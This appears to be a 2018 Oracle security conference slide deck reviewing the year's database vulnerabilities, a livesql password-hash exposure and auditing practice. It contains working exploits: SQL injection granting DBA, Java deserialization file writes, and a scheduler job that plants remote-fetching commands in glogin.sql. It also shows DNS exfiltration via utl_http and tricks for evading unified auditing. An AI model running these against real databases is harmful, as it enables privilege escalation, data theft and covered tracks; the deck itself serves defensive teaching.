Best of Oracle Security 2018
What happened in 2018?
Agenda
! Intro
! livesql.oracle.com
! January 2018 - November 2018
! DNS Exfiltration
! Bypass Oracle Auditing
! Outlook 2019
! Q&A
OOW 2018 & Larry’s bot army
for autonomous databases
„… modern cloud is constantly under
attack by what are called botnets…“*
„Because if they have robot attacks on
our clouds, and robot attacks in our
data centers and our government
agencies, you better have robotic
defenses…“ *
Already discussed in 2012 by Red-
Database-Security („Selfdefending
databases“**)
* https://www.foxbusiness.com/technology/oracle-is-building-a-robot-army-to-protect-data
** http://www.red-database-security.com/wp/selfdefending_databases_hashdays_2012.pdf
OOW 2018 & Larry Ellison
about Cloud Security
“We’ve seen headlines, you know, cyber break-ins at
Google, at Facebook, at Amazon, big government
agencies,” he said. “It’s happening because these
architectures, these old cloud architectures really
were never designed for security. Security was an
afterthought.”
https://www.foxbusiness.com/technology/oracle-is-building-a-robot-army-to-protect-data
LiveSQL security
Oracle 18c testdrive
Hardened Oracle 18c with free SQL
interface
livesql.oracle.com. (requires OTN account)
livesql.oracle.com - Part I
Check which tables are accessible
sys.user$ was accessible
All password hashes included
livesql.oracle.com - Part I
livesql.oracle.com - Part I
Reported to [email protected]
2 weeks later the problem was fixed
And I got a credit in the October 2018 CPU
livesql.oracle.com - Part II
Is the issue (revoke select on sys.user$) now
solved?
Yes, the user$ problem was fixed, but a real
attacker would continue…
livesql.oracle.com - Attacker’s next steps
Analyze collected data from sys.user$
786 Entries in SYS.USER$
A few (13) unsecure MD5-Passwords (H:)
Old case insensitive Oracle 10g/DES Passwords
(password column)
Most accounts have 3 passwords DES, SHA1 and
PBKDF2-Passwords
User for 3rd-party security scanner QUALYS installed
(QUALYS_SCAN).
Crack the password hashes (e.g. using hashcat).
(BTW, using passwords with <word>123 is not a
strong password)
Identify shared (over multiple DBs) service
accounts (here QUALYS_SCAN)
livesql.oracle.com - ASSUMPTION
Majority of customers are using the identical
passwords for agent accounts for all systems
Setting the password via „identified by values“ is an
indicator for the usage of the same password
My Assumption: Oracle was using the same
password for ALL cloud instances.
Having a has value of a highly privileged account
on all Oracle (cloud?) systems is VERY interesting for
attackers (if the hash can be cracked)
After an information disclosure it is recommended
to change ALL occurrences of the password (if the
password is not strong, 16+ characters)
Post-Incident-Steps on Cloud-Systems
Try to analyze what happened on the system
(using auditing)
Analyze side effects to other cloud systems
(e.g. shared accounts)
Check, if the attacker could escape from the
system
Remove reports/dumps/… with suspicious
information.
…
Lessons Learned - Oracle in (hacked) Cloud Systems
Never use (agent) accounts with identical
passwords (e.g. Nagios, Patrol, Scan-User, …) to
avoid interference with other cloud systems
Harden your cloud databases (dbsat, qualys, …
alone is not sufficient)
Classify the cloud databases by hacking
probability (e.g. custom sql/reporting is highly
dangerous)
Always have a post-incident workflow in place
(analyze what happened during the attack)
Audit suspicious attacks (e.g. select * from sys.user$
is ALWAYS suspicious)
Cleanup traces of the attacker (e.g. livesql reports
with password hashes)
Database Vulnerabilities and CPU
Again the patch situation is better (down from
14 in 2017 to 12 in 2018)
Problem: At the moment only a few people are
looking for security bugs in the database
Nowadays it’s rare that exploit code for
databases is published
Several unnamed security fixed affect the fully
qualified references (e.g. SYS.DBMS_SCHEDULER
instead of DBMS_SCHEDULER)
Database Vulnerabilities and CPU
Rodrigo Jorge is providing detailed analysis of
the Oracle CPUs*
< DBMS_SCHEDULER.DISABLE(M_NEW_JOB_NAME);
---
> SYS.DBMS_SCHEDULER.DISABLE(M_NEW_JOB_NAME);
< DBMS_SCHEDULER.SET_ATTRIBUTE(M_NEW_JOB_NAME, 'REPEAT_INTERVAL',
< M_INTERVAL);
---
> SYS.DBMS_SCHEDULER.SET_ATTRIBUTE(M_NEW_JOB_NAME,
'REPEAT_INTERVAL',
> M_INTERVAL);
" https://www.dbarj.com.br/en/2018/08/dissecting-180717-bp-psu-ru-and-rur/
" https://www.dbarj.com.br/en/2018/05/dissecting-180417-bp-psu-ru-and-rur/
" https://www.dbarj.com.br/en/2018/05/oracle-12-2-0-1-jan2018-rur-180417-or-180411/
" https://www.dbarj.com.br/en/2018/01/dissecting-180116-bp-psu-ru-rur/
Oracle Vulnerabilities 2018
Oracle Vulnerabilities 2018
Number of vulnerabilities in Oracle database reduced again
! 12 findings in 2018 (2017: 14, 2016:30 , 2015: 29, 2014: 43, 2013: 13
2012: 17)
! 6 remote exploitable bugs (2016: 8, 2015:3, 2014: 4, 2013: 7, 2012: 8 )
• January 2018 CPU (5 Vulnerabilities – 3 remote)
• April 2018 CPU (1 Vulnerabiliy – 0 remote)
• July 2018 CPU (3 Vulnerabilities – 1 remote)
• October 2018 CPU (3 Vulnerabilities – 2 remote)
Jan 2018 - Nov 2018
January 2018
Oracle CPU January 2018 *
* https://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html
January 2018 CPU*
5 security fixes (3 remote exploitable)
2 RDBMS (CVSS 9.1, 2.0)
1 Java VM (CVSS 8.3)
1 WLM (Apache Tomcat) (CVSS 8.1)
1 APEX (CVSS 6.1)
" http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html
CVE-2017-10282 (CVSS 9.1)
CVE-2017-10282 SQL Injection in CDBView
(12.1.0.2, 12.2.0.1)
This SQL Injection affects 12.1.0.2 and 12.2.0.1
when the user has this privileges on CDB$ROOT
or if it is a non-CDB.
Exploit shown last year, fixed in 2018
* https://www.dbarj.com.br/en/2018/01/sql-injection-on-12c-cbview-package-finally-fixed-on-180116/
Oracle 12.x Exploit I
SQL> conn doag2017/doag2017
Connect durchgeführt.
SQL> select granted_role from user_role_privs;
CONNECT
EXECUTE_CATALOG_ROLE
SQL> exec sys.CDBView.create_cdbview(true,'ALL_CUBES"
as select /*+WITH_PLSQL*/ x from (WITH FUNCTION f
RETURN varchar2 IS PRAGMA
AUTONOMOUS_TRANSACTION;BEGIN /* ','old_view' ,' */
execute immediate ''grant dba to doag2017''; RETURN
''1'';END; SELECT f as x FROM dual)-- ‚);
CVE-2017-12617 (CVSS 8.1)
CVE-2017-12617 critical Remote Code Execution
(RCE) vulnerability discovered in Apache
Tomcat
Affect systems with HTTP PUTs enabled (via
setting the "read-only" initialization parameter of
the Default servlet to "false") are affected.
https://www.exploit-db.com/exploits/42966/
CVE-2017-12617 (CVSS 8.1)
CVE-2017-12617 (CVSS 8.1)
CVE-2017-12617 (CVSS 8.1)
CVE-2017-12617 (CVSS 8.1)
February 2018
Project Rico2 (Oracle Block Based Editor, Open
Source)*
* https://github.com/ora600pl/rico2
** http://blog.ora-600.pl/2018/02/14/project-rico2-and-the-history-of-apex-upgrade-that-went-terribly-wrong/
Rico 2 - Open Source BBED
Oracle Transparent Data Encryption (TDE) is blocking data access via data blocks.
rico2 > set offset 338
rico2 > d
File: /u01/app/oracle/oradata/SKIPER/652E0234EC88260AE0530100007FFD8B/da
Block: 2809 Offsets: 338 to 850 Dba: 0x2c00af9
---------------------------------------------------------------
c1020180 07787602 0e102118 ff3b4f72 | .....xv...!..;Or
61636c65 20417070 6c696361 74696f6e | acle Application
20457870 72657373 2052656c 65617365 | Express Release
20342e32 2e352e30 302e3038 202d2050 | 4.2.5.00.08 - P
* https://github.com/ora600pl/rico2
** http://blog.ora-600.pl/2018/02/14/project-rico2-and-the-history-of-apex-upgrade-that-went-terribly-wrong/
March 2018
nothing special happened
April 2018
Oracle CPU April 2018*
18.1 Features: SQL Injection Detection in SQL
Developer **
* https://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
** https://www.thatjeffsmith.com/archive/2018/04/18-1-features-sql-injection-detection/
April 2018 CPU*
1security fix (0 remote exploitable)
1 Java VM (CVSS 8.5)
* https://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
SQL Injection Detection in SQL Developer
CREATE OR REPLACE PROCEDURE get_record (
user_name IN VARCHAR2,
service_type IN VARCHAR2,
rec OUT VARCHAR2
)
IS
query VARCHAR2(4000);
BEGIN
-- Following SELECT statement is vulnerable to modification
-- because it uses concatenation to build WHERE clause.
query := 'SELECT value FROM secret_records WHERE user_name='''
|| user_name
|| ''' AND service_type='''
|| service_type
|| '''';
DBMS_OUTPUT.PUT_LINE('Query: ' || query);
EXECUTE IMMEDIATE query INTO rec ;
DBMS_OUTPUT.PUT_LINE('Rec: ' || rec );
END;
/
https://www.thatjeffsmith.com/archive/2018/04/18-1-features-sql-injection-detection/
SQL Injection Detection
May 2018
How to bypass requirement of WITH GRANT
OPTION on views accessing third-party tables*
* https://www.dbarj.com.br/en/2018/05/how-to-bypass-requirement-of-with-grant-option-on-views-
accessing-third-party-tables/
May 2018 - Bypass grant option
SQL> grant select on USER_B.v1 to USER_C;
grant select on USER_B.v1 to USER_C
*
FEHLER in Zeile 1:
ORA-01720: Berechtigungsoption f³r 'USER_A.T1' nicht vorhanden
SQL> conn USER_B/oracle
Connected.
SQL> CREATE OR REPLACE PACKAGE pkg_bypass_go AS
2
3 TYPE t_tab IS TABLE OF USER_A.T1%ROWTYPE;
4
5 FUNCTION run (p_sql IN CLOB)
6 RETURN t_tab PIPELINED;
7
8 END pkg_bypass_go; Use a Pipeline Function to bypass
9 /
the limitation
Package created.
SQL> CREATE OR REPLACE PACKAGE BODY pkg_bypass_go AS
2
3 FUNCTION run (p_sql IN CLOB)
4 RETURN t_tab PIPELINED
5 IS
6 l_cursor SYS_REFCURSOR;
7 l_row USER_A.T1%ROWTYPE;
8 BEGIN
9 OPEN l_cursor FOR p_sql;
10 LOOP
11 FETCH l_cursor
12 INTO l_row;
13 EXIT WHEN l_cursor%NOTFOUND;
14 PIPE ROW (l_row);
15 END LOOP;
16 CLOSE l_cursor;
17 RETURN;
18 END run;
19
20 END pkg_bypass_go;
21 /
May 2018 - Bypass grant option
If the USER_B account, who owns the view, also had the CREATE
PROCEDURE privilege, he could bypass the ORA-01720 error by
encapsulating the table T1 results on a pipelined function, and use this
function inside his view.
SQL> create view USER_B.v1 as select * from USER_A.t1;
SQL> grant select on USER_B.v1 to USER_C;
grant select on USER_B.v1 to USER_C
*
FEHLER in Zeile 1:
ORA-01720: Berechtigungsoption f³r 'USER_A.T1' nicht vorhanden
SQL> create .. pipeline function….
SQL> create or replace view USER_B.v1 as select * from
table(pkg_bypass_go.run('select * from USER_A.t1’));
SQL> grant select on USER_B.v1 to USER_C;
Grant succeeded.
June 2018
Protecting Oracle Database Binaries against
malicious changes *
Implement a hidden trojan in an oracle
database**
* https://mahmoudhatem.wordpress.com/2018/06/13/using-ld_preload-to-implement-a-hidden-trojan-in-an-
oracle-database/
** https://www.dbarj.com.br/en/2018/06/protecting-oracle-database-binaries-against-malicious-changes/
June 2018 - Protecting Oracle Database
Binaries against malicious changes
New Oracle 18c feature: Read-Only Oracle
Home
Ensure that no Oracle process is creating or
changing files in the $ORACLE_HOME
1. Save current permissions and owners
2. Remove privileges from OS user Oracle
3. Rollback before applying patches
June 2018 - Trojan in TNS Listener
Using LD_PRELOAD to implement a hidden trojan
in an oracle database
Works in Read-Only-Oracle Home (ROOH) too
Put a backdoor in /tmp/livclntsh.so.12.1 and use
LD_PRELOAD to replace the Oracle library
Start the TNS listener and connect directly (e.g.
via netcat)
* https://mahmoudhatem.wordpress.com/2018/06/13/using-ld_preload-to-implement-a-hidden-trojan-in-an-
oracle-database/
July 2018
Oracle CPU July 2018 *
* https://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
July 2018 CPU*
3 security fixes (1 remote exploitable)
1 Oracle Spatial (CVSS 9.8, remote)
1 Core RDBMS (CVSS 8.4)
1 Java VM (CVSS 5.3)
* https://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
CVE-2018-3004 (CVSS 5.4)
Privilege escalation via a java deserialization vector
that bypasses built in Oracle JVM security. Proper
exploitation can allow an attacker to gain shell level
access on the server and SYS level access to the
database.
read/write files without.using Oracle directory objects
Exploits:
Insert SSH keys
Modify login.sql
Escape from CDB
…
* https://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
Oracle 12.x Exploit I
SQL> conn doag2018/doag2018
Connect durchgeführt.
SQL> create or replace and compile java source named
DecodeMe as
import java.io.*;
import java.beans.*;
public class DecodeMe{
public static void input(String xml) throws
InterruptedException, IOException {
XMLDecoder decoder = new XMLDecoder ( new
ByteArrayInputStream(xml.getBytes()));
Object object = decoder.readObject();
System.out.println(object.toString());
decoder.close();
Oracle 12.x Exploit I
SQL> CREATE OR REPLACE PROCEDURE decodeme (p_xml IN
VARCHAR2) IS
language java name
'DecodeMe.input(java.lang.String)';
/
Oracle 12.x Exploit I
SQL> BEGIN
decodeme('
<java class="java.beans.XMLDecoder" version="1.4.0">
<object class="java.io.FileWriter">
<string>C:\doag2018\doag2018.txt</string>
<boolean>True</boolean>
<void method="write">
<string>content of file doag2018.txt</string>
</void>
<void method="close" />
</object>
</java>
');
END;
/
August 2018
Nothing special happened
September 2018
! Nothing special happened
October 2018
Oracle CPU October 2018 *
* https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html
October 2018 CPU*
3 security fixes (2 remote exploitable)
1 Java VM (CVSS 9.8, remote)
1 ORACLE Text (CVSS 8.2 remote)
1 Rapid Home Provisioning (CVSS 2.3)
* https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html
CVE-2018-7489 (Rapid Home
Provisioning)
FasterXML jackson-databind before 2.8.11.1 and
2.9.x before 2.9.5 allows unauthenticated
remote code execution because of an
incomplete fix for the CVE-2017-7525
deserialization flaw. This is exploitable by sending
maliciously crafted JSON input to the readValue
method of the ObjectMapper, bypassing a
blacklist that is ineffective if the c3p0 libraries are
available in the classpath.
" https://access.redhat.com/security/cve/cve-2018-7489
" https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891614
"
November 2018
DOAG 2018
Privilege Capturing Feature free in Oracle
Enterprise Edition*,**
* http://www.petefinnigan.com/weblog/archives/00001448.htm
** https://docs.oracle.com/en/database/oracle/oracle-database/18/dblic/Licensing-
Information.html#GUID-0F9EB85D-4610-4EDF-89C2-4916A0E7AC87
End of the
annual review
DNS Exfiltration
DNS exfiltration is an old technique to exchange
data between 2 computers without a direct
connection.*
https://blog.fosec.vn/dns-data-exfiltration-what-is-this-and-how-to-use-2f6c69998822
DNS Exfiltration
https://blog.fosec.vn/dns-data-exfiltration-what-is-this-and-how-to-use-2f6c69998822
DNS Exfiltration
Several networks are vulnerable against DNS
exfiltration
This vulnerability can also be abused from an
Oracle database
This technique allows data transfer from
(network) protected databases the outside
Used during SQL Injection attacks
Website http://requestbin.net/dns helps to
identify the problem (!!! Created DNS link is only
valid for 24 h)
DNS Exfiltration
SQL> select
SQL> select
utl_http.request('Live_from_DOAG2018.eeebce28d20630e3b826.d.r
utl_http.request('Live_from_DOAG2018.eeebce28d2
equestbin.net') from dual;
0630e3b826.d.requestbin.net') from dual;
FEHLER in Zeile 1:
FEHLER in Zeile 1:
ORA-29273: HTTP-Anforderung nicht erfolgreich
ORA-29273: HTTP-Anforderung nicht erfolgreich
ORA-12541: TNS: Kein Listener
ORA-12541: TNS: Kein Listener
ORA-06512: in "SYS.UTL_HTTP", Zeile 1491
ORA-06512: in "SYS.UTL_HTTP", Zeile 1491
ORA-06512: in Zeile 1
ORA-06512: in Zeile 1
SQL>
DNS Exfiltration
Several Oracle databases are vulnerable
against DNS exfiltration
dbms_scheduler & SQL Scripts
Oracle 12.2 comes with a powerful feature to
run SQL scripts
It’s a feature, not a bug…
All SQL*Plus commands (host, …) are allowed
Requires CREATE EXTERNAL JOB privilege
The following sample shows how to modify the
glogin.sql on a database server
Sample SQL*Plus Script
host icacls "glogin.sql" /grant Users:F
Host echo set term on >> glogin.sql
host echo @http://www.orasploit.com/test.sql >> glogin.sql
host echo grant dba to wuser identified by wuser; >> glogin.sql
Host echo set term on >> glogin.sql
* Absolute path entries removed to make the sample more readable
Oracle 12.x Exploit I
SET SERVEROUTPUT ON
DECLARE
l_job_name VARCHAR2(30);
l_script VARCHAR2(32767);
BEGIN
l_job_name := DBMS_SCHEDULER.generate_job_name;
DBMS_OUTPUT.put_line('JOB_NAME=' || l_job_name);
l_script := '
host icacls "C:
\app\orawin\product\12.1.0\dbhome_1\sqlplus\admin\glogin.sql" /
grant Users:F
host echo @http://www.red-database-security.com/beta/test.sql
>> C:
\app\orawin\product\12.1.0\dbhome_1\sqlplus\admin\glogin.sql
host echo grant dba to webuser identified by webuser; >>C:
\app\orawin\product\12.1.0\dbhome_1\sqlplus\admin\glogin.sql
';
Oracle 12.x
DBMS_SCHEDULER.create_job(
Exploit I
job_name => l_job_name,
job_type => 'SQL_SCRIPT',
job_action => l_script,
credential_name => 'oracle_ol6_121',
enabled => FALSE);
-- Set the credential used for SQL*Plus to
-- connect to the database;
DBMS_SCHEDULER.set_attribute(
name => l_job_name,
attribute => 'connect_credential_name',
value => ‚test_pdb1_ol6_121');
-- Enable the job.
DBMS_SCHEDULER.enable(l_job_name);
END;
/
Changes in 12.2/18c
A lot of useful security issues were changed in
Oracle 12.2 / 18c
All reference/index privileges from Oracle
vendor accounts were removed
Default ACL for XMLDB user and DBA role were
removed on new databases. Only SYS can now
bypass ACLs
VPD can now be audited
New SQL Injection pattern
SQL> select * from dual where 1=1 and dbms_xdb_version.checkin((select user from dual))='1';
select * from dual where 1=1 and dbms_xdb_version.checkin((select user from dual))='1'
*
FEHLER in Zeile 1:
ORA-31001: Ressourcen-Handle oder Pfadname ung³ltig: SYS
ORA-06512: in "XDB.DBMS_XDB_VERSION", Zeile 30
ORA-06512: in "XDB.DBMS_XDB_VERSION", Zeile 45
SQL> select * from dual where 1=1 and dbms_xdb_version.makeversioned((select user from
dual))='1';
select * from dual where 1=1 and dbms_xdb_version.makeversioned((select user from dual))='1'
*
FEHLER in Zeile 1:
ORA-31001: Ressourcen-Handle oder Pfadname ung³ltig: SYS
ORA-06512: in "XDB.DBMS_XDB_VERSION", Zeile 3
ORA-06512: in "XDB.DBMS_XDB_VERSION", Zeile 18
* https://notwhy.github.io/2018/06/hacking-oracle/
Findings from Security Audits in
2018
Weak passwords (slowly getting better)
Cleartext passwords in audit logs (if username/
password was switched)
Privilege Escalation via CREATE INDEX privilege
(already shown 2016)
Too many privileges (e.g. grant ALL, ANY
privileges, …)
…
Auditing SYS with loginuser
Many DBAs are using SSH to connect to the
database server using their personal UNIX
account
After the logon they use the su command to
change to the Oracle user
Now they connect to the database using
sqlplus / as SYSDBA
Auditing SYS (with login user)
ssh dbserver1 (as weber)
ssh dbserver1 (as schmidt)
su - oracle su - oracle
sqlplus / as sysdba sqlplus / as sysdba
SQL> create user hacker SQL> create user cracker
identified as hacker; identified as cracker;
SQL> select sessionid, os_username, dbusername, sql_text,
UNIFIED_AUDIT_POLICIES from unified_audit_trail;
2056298984 oracle SYS create user cracker identified by
* ORA_ACCOUNT_MGMT, ORA_CIS_RECOMMENDATIONS
2602877895 oracle SYS create user hacker identified by
* ORA_ACCOUNT_MGMT, ORA_CIS_RECOMMENDATIONS
Who am I vs. whoami
Majority of DBAs are not aware that there is a
difference between who and who am I
who am i: Login user
whoami: Effective user
Sample:
ssh dbserver1 (as weber)
su - oracle
Who am I
weber
Who
oracle
Auditing SYS (with login user)
——- glogin.sql ———
set term off
host echo define login_user=`who | cut -d" " -f1`
> loguser.sql
@loguser.sql
exec dbms_session.set_identifier('&login_user‘);
set term on
——- glogin.sql ———
Alternative:
Logon-Trigger can read the (original) login user id from
/proc/<processid>/loginuid via an external table
and join this uid with the real name from /etc/passwd (via
external table or inline external SQL)
Auditing SYS (with login user)
ssh dbserver1 (as weber) ssh dbserver1 (as schmidt)
su - oracle su - oracle
sqlplus / as sysdba sqlplus / as sysdba
SQL> create user hacker SQL> create user cracker
identified as hacker; identified as cracker;
SQL> select sessionid, client_identifier, os_username, dbusername,
sql_text, UNIFIED_AUDIT_POLICIES from unified_audit_trail;
2056298984 oracle schmidt SYS create user cracker
identified by * ORA_ACCOUNT_MGMT,
ORA_CIS_RECOMMENDATIONS
2602877895 oracle weber SYS create user hacker
identified by * ORA_ACCOUNT_MGMT,
ORA_CIS_RECOMMENDATIONS
Auditing SYS (with login user)
It is now possible to distinguish between different
SYSDBA/SYSOPER connections at session level
(v$session and audit trail).
Try to use the new users SYSBACKUP, SYSDG,
SYSKM instead of SYS
Another advantage of using SYSBACKUP, SYSDG
and SYSKM are limited privileges
Outlook 2019
Started with a new investigation „How to bypass
database auditing solutions“
Found multiple security bugs and issues in auditing
components of databases (Oracle, Hana), 3rd-
party Audit Solutions and SIEM solutions
Bugs are still unfixed and to protect the innocent I
will wait until 2019 to release the presentation
Found more than 40 different ways to bypass
Auditing
Sneak Preview Audit Issues
How to detect if a table is monitored using
Oracle unified Auditing
Simple ways to bypass Oracle Auditing
Detect protected tables
To find out if a table is protected by unified
auditing you can use the „set transaction read
only“ command
If the session is set to readonly, Oracle Unified
Auditing is not able to write the audit entry ;-)
No Audit entry was created (but no data
retrieved as well)
Fixed in Oracle 18c
Access protected tables
without creating audit entries
There are various ways to avoid audit entries when accessing
audited tables.
Sample:
create audit policy sel_emp actions select on scott.emp;
audit policy sel_emp;
SQL> set transaction read only;
SQL> select * from sel.emp where rownum=1 /*xx*/ ;
*
FEHLER in Zeile 1:
ORA-02002: Fehler beim Schreiben von Audittrail
ORA-55917: Tabellen-Flush-I/O nicht erfolgreich für Log-ID: 1
Bucket-ID: 0
ORA-55917: Tabellen-Flush-I/O nicht erfolgreich für Log-ID: 1
Bucket-ID: 0
ORA-01456: INSERT/DELETE/UPDATE bei einer READ ONLY Transaktion
nicht zulässig
https://blogs.oracle.com/oraclemagazine/unify-auditing
How can we get the table data
without triggering auditing?
Alter table rename scott.emp to scott.noemp;
select * from scott.noemp;
Alter table rename scott.noemp to scott.emp;
rename scott.emp to scott.noemp;
select * from scott.noemp;
rename scott.noemp to scott.emp;
drop table scott.emp;
select * from "BIN$HGnc55/7rRPgQPeM/qQoRw==$0";
flashback table scott.emp to before drop;
Create table scott.noemp as select * from
scott.emp;
select * from scott.noemp;
[Fixed in July 2017 CPU, src: Oracle secalert]
+ a few more (noaudit, alter user, dbms_sys_sql, ….)
Trends 2019
Much more Oracle 18c vulnerabilities
Migration to 18c/19c
Oracle & Cloud Systems
Oracle Multi-Tenant
More auditing projects
Integration Auditing with SIEM solutions
Q&A
Thank you
Contact:
Red-Database-Security GmbH
Eibenweg 42
D-63150 Heusenstamm
Germany
